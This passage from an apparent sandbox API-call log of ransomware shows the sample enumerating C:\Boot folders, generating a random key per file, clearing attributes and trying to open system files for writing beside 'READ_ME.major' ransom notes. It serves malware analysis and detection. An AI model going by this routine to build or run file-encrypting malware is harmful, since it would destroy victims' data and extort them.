out: pbBuffer=0x45b234) returned 1 [0142.962] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\malgunn_boot.ttf", dwFileAttributes=0x80) returned 0 [0142.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.967] CreateFileW (lpFileName="\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0142.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0142.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0142.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0142.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.967] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.967] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\kor_boot.ttf", dwFileAttributes=0x80) returned 0 [0143.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0143.029] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0143.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0143.030] CreateFileW (lpFileName="\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0143.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.030] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.030] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\jpn_boot.ttf", dwFileAttributes=0x80) returned 0 [0143.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0143.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0143.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0143.061] CreateFileW (lpFileName="\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0143.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0143.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0143.061] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.061] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\cht_boot.ttf", dwFileAttributes=0x80) returned 0 [0143.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0143.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0143.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0143.457] CreateFileW (lpFileName="\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0143.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0143.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0143.458] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0143.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.458] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.458] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.458] SetFileAttributesW (lpFileName="\\Boot\\Fonts\\chs_boot.ttf", dwFileAttributes=0x80) returned 0 [0143.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.539] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0143.539] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.539] CreateFileW (lpFileName="\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0143.540] FindFirstFileW (in: lpFileName="\\Boot\\fr-CA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f1e8 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0143.540] GetLastError () returned 0x5 [0143.540] SetLastError (dwErrCode=0x5) [0143.540] GetLastError () returned 0x5 [0143.540] SetLastError (dwErrCode=0x5) [0143.540] GetLastError () returned 0x5 [0143.540] SetLastError (dwErrCode=0x5) [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f668 [0143.540] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f668 | out: hHeap=0x570000) returned 1 [0143.540] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0143.541] FindNextFileW (in: hFindFile=0x60f1e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0143.541] GetLastError () returned 0x5 [0143.541] SetLastError (dwErrCode=0x5) [0143.541] GetLastError () returned 0x5 [0143.541] SetLastError (dwErrCode=0x5) [0143.541] GetLastError () returned 0x5 [0143.541] SetLastError (dwErrCode=0x5) [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f228 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f228 | out: hHeap=0x570000) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0143.541] FindNextFileW (in: hFindFile=0x60f1e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0143.541] GetLastError () returned 0x5 [0143.541] SetLastError (dwErrCode=0x5) [0143.541] GetLastError () returned 0x5 [0143.541] SetLastError (dwErrCode=0x5) [0143.541] GetLastError () returned 0x5 [0143.541] SetLastError (dwErrCode=0x5) [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0143.541] FindNextFileW (in: hFindFile=0x60f1e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e611f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80e611f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.541] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0143.541] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.542] GetLastError () returned 0x5 [0143.542] SetLastError (dwErrCode=0x5) [0143.542] GetLastError () returned 0x5 [0143.542] SetLastError (dwErrCode=0x5) [0143.542] GetLastError () returned 0x5 [0143.542] SetLastError (dwErrCode=0x5) [0143.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.542] FindNextFileW (in: hFindFile=0x60f1e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e611f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80e611f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0143.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce90 [0143.542] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.542] SetFileAttributesW (lpFileName="\\Boot\\fr-CA\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.542] CreateFileW (lpFileName="\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce90 | out: hHeap=0x570000) returned 1 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0143.542] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.542] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0143.543] FindFirstFileW (in: lpFileName="\\Boot\\fr-FR\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f0a8 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.543] GetLastError () returned 0x5 [0143.543] SetLastError (dwErrCode=0x5) [0143.543] GetLastError () returned 0x5 [0143.543] SetLastError (dwErrCode=0x5) [0143.543] GetLastError () returned 0x5 [0143.543] SetLastError (dwErrCode=0x5) [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f0e8 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f0e8 | out: hHeap=0x570000) returned 1 [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0143.543] FindNextFileW (in: hFindFile=0x60f0a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.543] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0143.543] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0143.543] GetLastError () returned 0x5 [0143.543] SetLastError (dwErrCode=0x5) [0143.543] GetLastError () returned 0x5 [0143.543] SetLastError (dwErrCode=0x5) [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f528 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f528 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0143.544] FindNextFileW (in: hFindFile=0x60f0a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0143.544] FindNextFileW (in: hFindFile=0x60f0a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0143.544] FindNextFileW (in: hFindFile=0x60f0a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e611f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80e611f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.544] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.544] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0143.544] GetLastError () returned 0x5 [0143.544] SetLastError (dwErrCode=0x5) [0143.545] GetLastError () returned 0x5 [0143.545] SetLastError (dwErrCode=0x5) [0143.545] GetLastError () returned 0x5 [0143.545] SetLastError (dwErrCode=0x5) [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.545] FindNextFileW (in: hFindFile=0x60f0a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e611f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80e611f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x810c2be, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0143.545] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.545] SetFileAttributesW (lpFileName="\\Boot\\fr-FR\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0143.545] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0143.545] CreateFileW (lpFileName="\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.545] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 